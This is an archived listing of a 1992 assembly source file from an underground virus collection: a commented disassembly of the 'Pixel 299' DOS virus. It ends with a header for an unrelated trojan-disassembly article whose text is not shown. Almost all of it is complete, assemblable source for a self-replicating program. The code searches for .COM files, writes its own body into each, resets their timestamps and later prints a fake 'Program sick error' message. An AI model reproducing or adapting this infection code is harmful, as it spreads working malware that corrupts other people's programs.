home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / 299.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  6.0 KB  |  151 lines

  1.  
  2.  
  3. ;*****************************************************************************
  4.  
  5. ;
  6.  
  7. ; Pixel - 299 virus
  8.  
  9. ;
  10.  
  11. ; Disassembled By Admiral Bailey [YAM '92]
  12.  
  13. ;
  14.  
  15. ; Notes: I dont know where the hell I got this one from but when I found it on
  16.  
  17. ;        one of my disks it was named incorectly.  Some Amst shit but I looked
  18.  
  19. ;        it up in the vsum and its named as Pixel so Il use that name.
  20.  
  21. ;        Anyways its just a plain com infecting virus that displays a messege
  22.  
  23. ;        when executed. Nothing big.
  24.  
  25. ;
  26.  
  27. ;*****************************************************************************
  28.  
  29.  
  30.  
  31. data_1e         equ     6Ch
  32.  
  33. data_2e         equ     96h
  34.  
  35. data_3e         equ     98h
  36.  
  37. data_4e         equ     9Eh
  38.  
  39. data_15e        equ     12Bh                    ;*
  40.  
  41. data_16e        equ     12Dh                    ;*
  42.  
  43.  
  44.  
  45. seg_a           segment byte public
  46.  
  47.                 assume  cs:seg_a, ds:seg_a
  48.  
  49.  
  50.  
  51.  
  52.  
  53.                 org     100h
  54.  
  55.  
  56.  
  57. Pixel           proc    far
  58.  
  59.  
  60.  
  61. start:
  62.  
  63.                 jmp     short begin
  64.  
  65.                 dw      5649h
  66.  
  67. data_7          db      0
  68.  
  69. data_8          db      2Ah, 2Eh, 43h, 4Fh, 4Dh, 0      ; '*.com'
  70.  
  71. data_10         dw      0, 8918h
  72.  
  73. data_12         dw      0
  74.  
  75.  
  76.  
  77. begin:                                          ; loc_1:
  78.  
  79.                 push    ax
  80.  
  81.                 mov     ax,cs
  82.  
  83.                 add     ax,1000h
  84.  
  85.                 mov     es,ax
  86.  
  87.                 inc     data_7
  88.  
  89.                 mov     si,100h
  90.  
  91.                 xor     di,di                   ; Zero register
  92.  
  93.                 mov     cx,12Bh
  94.  
  95.                 rep     movsb                   ; Mov [si] to es:[di]
  96.  
  97.                 mov     dx,offset data_8        ; load the type of file to find
  98.  
  99.                 mov     cx,6                    ; Im not sure what attrib
  100.  
  101.                 mov     ah,4Eh                  ; Find first file
  102.  
  103.                 int     21h                     ;
  104.  
  105.  
  106.  
  107.                 jc      quit                    ; if none found then...
  108.  
  109. get_file:                                       ; loc_2
  110.  
  111.                 mov     dx,data_4e              ; file name
  112.  
  113.                 mov     ax,3D02h                ; open file
  114.  
  115.                 int     21h
  116.  
  117.  
  118.  
  119.                 mov     bx,ax
  120.  
  121.                 push    es
  122.  
  123.                 pop     ds
  124.  
  125.                 mov     dx,data_15e             ; buffer for read
  126.  
  127.                 mov     cx,0FFFFh               ; number of bytes to read
  128.  
  129.                 mov     ah,3Fh                  ; read file
  130.  
  131.                 int     21h
  132.  
  133.  
  134.  
  135.                 add     ax,12Bh
  136.  
  137.                 mov     cs:data_12,ax
  138.  
  139.                 cmp     word ptr ds:data_16e,5649h ; probably comparing size
  140.  
  141.                 je      not_this_file           ; of file
  142.  
  143.                 xor     cx,cx                   ; Zero register
  144.  
  145.                 mov     dx,cx
  146.  
  147.                 mov     ax,4200h                ; move file pointer
  148.  
  149.                 int     21h                     
  150.  
  151.  
  152.  
  153.                 jc      not_this_file           ; if error the quit this file
  154.  
  155.                 xor     dx,dx                   ; Zero register
  156.  
  157.                 mov     cx,cs:data_12
  158.  
  159.                 mov     ah,40h                  ; write virus to file
  160.  
  161.                 int     21h
  162.  
  163.  
  164.  
  165.                 mov     cx,cs:data_2e           ; old date
  166.  
  167.                 mov     dx,cs:data_3e           ; new time
  168.  
  169.                 mov     ax,5701h                ; set files date & time
  170.  
  171.                 int     21h                     
  172.  
  173.  
  174.  
  175. not_this_file:                                  ; loc_3:
  176.  
  177.                 mov     ah,3Eh                  ; close this file
  178.  
  179.                 int     21h
  180.  
  181.  
  182.  
  183.                 push    cs
  184.  
  185.                 pop     ds
  186.  
  187.                 mov     ah,4Fh                  ; find another file
  188.  
  189.                 int     21h                     
  190.  
  191.                                                 
  192.  
  193.                 jc      quit                    ; if none found quit
  194.  
  195.                 jmp     short get_file          ; if found then infect
  196.  
  197. quit:                                           ; loc_4
  198.  
  199.                 cmp     data_7,5
  200.  
  201.                 jb      loc_5                   ; Jump if below
  202.  
  203.                 mov     ax,40h
  204.  
  205.                 mov     ds,ax
  206.  
  207.                 mov     ax,ds:data_1e
  208.  
  209.                 push    cs
  210.  
  211.                 pop     ds
  212.  
  213.                 and     ax,1
  214.  
  215.                 jz      loc_5                   ; Jump if zero
  216.  
  217.                 mov     dx,offset data_13       ; gets the messege
  218.  
  219.                 mov     ah,9                    ; display string
  220.  
  221.                 int     21h
  222.  
  223.  
  224.  
  225.                 int     20h                     ; Quit program
  226.  
  227.  
  228.  
  229. data_13         db      'Program sick error:Call doctor o'  ; messege
  230.  
  231.                 db      'r buy PIXEL for cure description'  ; displayed when
  232.  
  233.                 db      0Ah, 0Dh, '$'                       ; run
  234.  
  235. loc_5:
  236.  
  237.                 mov     si,offset data_14
  238.  
  239.                 mov     cx,22h
  240.  
  241.                 xor     di,di                   ; Zero register
  242.  
  243.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es
  244.  
  245.                 pop     bx
  246.  
  247.                 mov     cs:data_10,0
  248.  
  249.                 mov     word ptr cs:data_10+2,es
  250.  
  251.                 jmp     dword ptr cs:data_10
  252.  
  253.  
  254.  
  255. data_14         db      1Eh                             ; cant figure this
  256.  
  257.                 db       07h,0BEh, 2Bh, 02h,0BFh, 00h   ; part out...
  258.  
  259.                 db       01h,0B9h,0FFh,0FFh, 2Bh,0CEh   ; probably infected
  260.  
  261.                 db      0F3h,0A4h, 2Eh,0C7h, 06h, 00h   ; file before.
  262.  
  263.                 db       01h, 00h, 01h, 2Eh, 8Ch, 1Eh
  264.  
  265.                 db       02h, 01h, 8Bh,0C3h, 2Eh,0FFh
  266.  
  267.                 db       2Eh, 00h, 01h,0CDh             ; this is an int 20h
  268.  
  269.                 db      20h
  270.  
  271.  
  272.  
  273. Pixel           endp
  274.  
  275.  
  276.  
  277. seg_a           ends
  278.  
  279.  
  280.  
  281.                 end     start
  282.  
  283.  
  284.  
  285.  
  286.  
  287. ─────────═════════>>> Article From Evolution #1 - YAM '92
  288.  
  289.  
  290.  
  291. Article Title: Thrasher Trojan Disassembly
  292.  
  293. Author: Natas Kaupas
  294.  
  295.  
  296.  
  297.  
  298.  
  299.  
  300.  
  301.